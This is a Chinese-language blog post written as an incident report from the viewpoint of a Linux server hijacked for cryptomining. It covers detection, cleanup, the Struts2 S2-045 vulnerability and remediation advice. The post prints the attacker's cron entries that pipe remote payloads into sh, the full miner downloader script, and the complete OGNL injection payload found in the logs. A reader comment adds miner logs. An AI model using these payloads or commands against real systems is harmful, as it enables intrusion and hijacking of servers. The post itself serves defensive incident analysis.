我竟然被抓去做了比特币挖矿工

  1. 云栖社区>
  2. 博客列表>
  3. 正文

我竟然被抓去做了比特币挖矿工

小柒2012 2017-09-21 15:37:32 浏览2691 评论6

摘要: 引言 世界上还是牛人多,在2011年的时候,一名大三的学生有了困扰,随后上知乎发布了一个提问大三学生手头有6000元,有什么好的理财投资建议?在2017年的今天,上到了知乎热门提问,因为在提问下面有一个获得上万点赞的回答买“比特币,保存好钱包文件,然后忘掉你有过6000元这回事,五年后再看看。

引言

1445238746473555

世界上还是牛人多,在2011年的时候,一名大三的学生有了困扰,随后上知乎发布了一个提问大三学生手头有6000元,有什么好的理财投资建议?在2017年的今天,上到了知乎热门提问,因为在提问下面有一个获得上万点赞的回答买“比特币,保存好钱包文件,然后忘掉你有过6000元这回事,五年后再看看。

起因

我是一个服务器,并且还是一个内网的Linux服务器,外面武装了天清汉马防火墙,内部有firewall,强大的密码组合,甚至自己都记不清到底几位数,这几年我甚是悠闲,悠闲的感觉自己有点混日子,然就是这样一个与世无争的我还是被无情的攻击了。

7

那天清晨,感觉大脑有点发烧,赶紧发出一条top指令:

top - 20:07:49 up 70 days,  8:53,  2 users,  load average: 5.71, 5.07, 2.93
Tasks: 200 total,   1 running, 199 sleeping,   0 stopped,   0 zombie
%Cpu(s): 50.2 us,  0.1 sy,  0.0 ni, 49.7 id,  0.0 wa,  0.0 hi,  0.0 si,  0.0 st
KiB Mem : 65401524 total, 36266252 free, 13198040 used, 15937232 buff/cache
KiB Swap: 32834556 total, 32803700 free,    30856 used. 51442368 avail Mem 
  PID USER      PR  NI    VIRT    RES    SHR S  %CPU %MEM     TIME+ COMMAND
17257 root      20   0  591340  15220    556 S 599.7  0.0  67:13.74 atd
15768 root      20   0 15.369g 2.319g  18048 S   1.7  3.7   4:10.49 java

发现了一条诡异的进程atd,CPU占用居然将近600%,执行命令ps -eaf|grep atd:

[root@itstyle tmp]# ps -ef|grep atd
root     17257     1 99 19:56 ?        01:22:31 ./atd -c trtgsasefd.conf -t 6
root     17475 17165  0 20:10 pts/0    00:00:00 grep --color=auto atd

紧接着find / -name atd查找相关指令存放地点。

[root@itstyle tmp]# find / -name atd
/var/tmp/atd

突然觉得还是先把这个atd进程杀掉为好,kill -9 17257,立即马上迅速强行杀死。

随后退烧了,但可恶的是,不到几分钟,又烧了,一看又是atd这个进程在运行。

杀掉后重新运行,一定是在某个地方有定时,检查了一下定时任务,crontab -l:

[root@itstyle tmp]# crontab -l
*/20 * * * * wget -O - -q http://5.188.87.11/icons/logo.jpg|sh
*/19 * * * * curl http://5.188.87.11/icons/logo.jpg|sh

擦,以前的定时脚本不见了,多了两条奇怪的任务,里面有个网址很特别,复制到浏览器访问,本以为是个美女或者惊悚图,结果是个大黑图,F12图片网络请求发现Response中居然存在如下代码:

#!/bin/sh
rm -rf /var/tmp/bmsnxvpggm.conf
ps auxf|grep -v grep|grep -v trtgsasefd|grep "/tmp/"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "\./"|grep 'httpd.conf'|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "\-p x"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "stratum"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "cryptonight"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "bmsnxvpggm"|awk '{print $2}'|xargs kill -9
ps -fe|grep -e "trtgsasefd" -e "ixcnkupikm" -e "jmzaazwiom" -e "erlimkvsmb" -e "pdnpiqlnaa" -e "zhoimvmfqo"|grep -v grep
if [ $? -ne 0 ]
then
echo "start process....."
chmod 777 /var/tmp/trtgsasefd.conf
rm -rf /var/tmp/trtgsasefd.conf
curl -o /var/tmp/trtgsasefd.conf http://5.188.87.11/icons/kworker.conf
wget -O /var/tmp/trtgsasefd.conf http://5.188.87.11/icons/kworker.conf
chmod 777 /var/tmp/atd
rm -rf /var/tmp/atd
rm -rf /var/tmp/sshd
cat /proc/cpuinfo|grep aes>/dev/null
if [ $? -ne 1 ]
then
curl -o /var/tmp/atd http://5.188.87.11/icons/kworker
wget -O /var/tmp/atd http://5.188.87.11/icons/kworker
else
curl -o /var/tmp/atd http://5.188.87.11/icons/kworker_na
wget -O /var/tmp/atd http://5.188.87.11/icons/kworker_na
fi
chmod +x /var/tmp/atd
cd /var/tmp
proc=`grep -c ^processor /proc/cpuinfo`
cores=$((($proc+1)/2))
nohup ./atd -c trtgsasefd.conf -t `echo $cores` >/dev/null &
else
echo "runing....."
fi

一坨脚本,狗日的 居然有 rm -rf 这是要要了老子的命啊!!! 吓大赶紧打开蓝灯谷歌搜索这个命令,在virustotal找到以下说明:

5

同时发现了一条四天前的评论,这是一个脚本,通过struts漏洞传播下载和启动一个bitcode矿工。

gov.lk中也发现了有一坨代码,隐约发现与struts2有关:

6

由于一些老旧项目还在使用struts2,于是查询了一下相关日志,居然发现了传说中的OGNL注入

org.apache.commons.fileupload.FileUploadBase$InvalidContentTypeException: the request doesn't contain a multipart/form-data or multipart/form-data stream, content type header is %{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='echo "*/20 * * * * wget -O - -q http://91.230.47.40/icons/logo.jpg|sh\n*/19 * * * * curl http://91.230.47.40/icons/logo.jpg|sh" | crontab -;wget -O - -q http://91.230.47.40/icons/logo.jpg|sh').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

黑客攻击者通过使用一个表单来发送一些内容到struts请求,该内容被OGNL解析,结果创建了crontab,擦,真是耳闻不如一见啊,也有中招的那一天,就这样我变成了一个苦逼的挖矿工。

1

挖矿组织

Struts2的安全漏洞从2010年开始陆续被披露存在远程代码执行漏洞,从2010年的S2-005、S2-009、S2-013 S2-016、S2-019、S2-020、S2-032、S2-037、devMode、及2017年3月初Struts2披露的S045漏洞,每一次的漏洞爆发随后互联网都会出现Struts2扫描攻击活动。

此次攻击针对Struts2的远程命令执行漏洞,漏洞编号:S2-045,CVE编号:CVE-2017-5638,官方评级为高危,该漏洞是由于在使用基于Jakarta插件的文件上传功能条件下,恶意用户可以通过修改HTTP请求头中的Content-Type值来触发该漏洞,黑客通过批量对互联网的WEB应用服务器发起攻击,并下载恶意脚本执行下载进行比特币挖矿程序,主要感染Linux服务器。

0

经检测和搜索,这应该是一个有组织有纪律的挖矿集团,以下是IP地址来源,万恶的苏修主义啊,真是亡我天朝之心不死。

7

解决方案

  • Struts2升级版本至2.5.10,高危漏洞又来了,这是三月份的一篇升级,当时投机的还是赶紧升了吧,如果实在不想升级,无所谓反正是挖矿,不会破坏你什么。但是,如果不挖矿呢,那就傻逼了?到时候就不是发烧那么简单了,很多公司上线部署都不是很规范,可能所有的程序都用root启动也说不定呢?
  • 可以选用阿里云安骑士产品进行防御。安骑士是一款主机安全软件,通过安装在云服务器上轻量级的软件和云端安全中心的联动,为您提供漏洞管理、基线检查和入侵告警等功能。
  • 可以选用阿里云云盾WAF产品进行防御。Web应用防火墙(Web Application Firewall, 简称 WAF), 是阿里基于10余年攻防经验完全自主研发的安全产品。其基于云安全大数据能力实现,通过防御SQL注入、XSS跨站脚本、常见Web服务器插件漏洞、木马上传、非授权核心资源访问等OWASP常见攻击,过滤海量恶意访问,避免您的网站资产数据泄露,保障网站的安全与可用性。

如何注入

最后感觉这才是大家比较关注的问题,肯定有不少小伙伴想知道黑客是怎么注入的吧?

http://images2017.cnblogs.com/blog/109211/201709/109211-20170912214533625-1741545207.gif) no-repeat 6px 50%;">如果您要查看本帖隐藏内容请 回复

人们都说,只要心够诚,就能在西边疙瘩山上寻得一当铺,进去,便能改变你的一生,其实我也不知道。

作者: 小柒

出处: https://blog.52itstyle.com

分享是快乐的,也见证了个人成长历程,文章大多都是工作经验总结以及平时学习积累,基于自身认知不足之处在所难免,也请大家指正,共同进步。

本文版权归作者所有,欢迎转载,但未经作者同意必须保留此段声明,且在文章页面明显位置给出, 如有问题, 可邮件(345849402@qq.com)咨询。

【云栖快讯】阿里云栖开发者沙龙(Java技术专场)火热来袭!快来报名参与吧!  详情请点击

网友评论

1F
羽和清灵

虽然不知道发生了什么 但是看起来好厉害的样子_(:зゝ∠)_

2F
云里雾里11

先赞一个,虽然没学到如何注入,但是处理的经验还是学到了,感谢无私分享

3F
巴洛克上校

不错不错呱唧呱唧

4F
jin2ml

我们公司有两家客户的服务器也被抓去挖矿过。。。

5F
1698760383995547

企业级别的因为时常维护,所以应该不会出现这种情况。但是如果是个人或者长期放置的服务器确实很容易中招

6F
阿钉钉1

1111

7F
1564667254567808

也被抓去挖矿了~
放在web的一个目录内,使用用apache用户跑的。删除后,过几个小时生成新随机的文件名的文件后重新运行,文件也不相同了。
一直找不到漏洞~
[2017-10-27 07:15:17] I go faster as root.
[2017-10-27 07:15:17] Using JSON-RPC 2.0
[2017-10-27 07:15:17] 1 miner threads started, using 'cryptonight' algorithm.
[2017-10-27 07:15:17] Starting Stratum on stratum+tcp://185.129.148.181:8848
[2017-10-27 07:15:18] Pool set diff to 20000

中华好男子

哈哈 厉害了

评论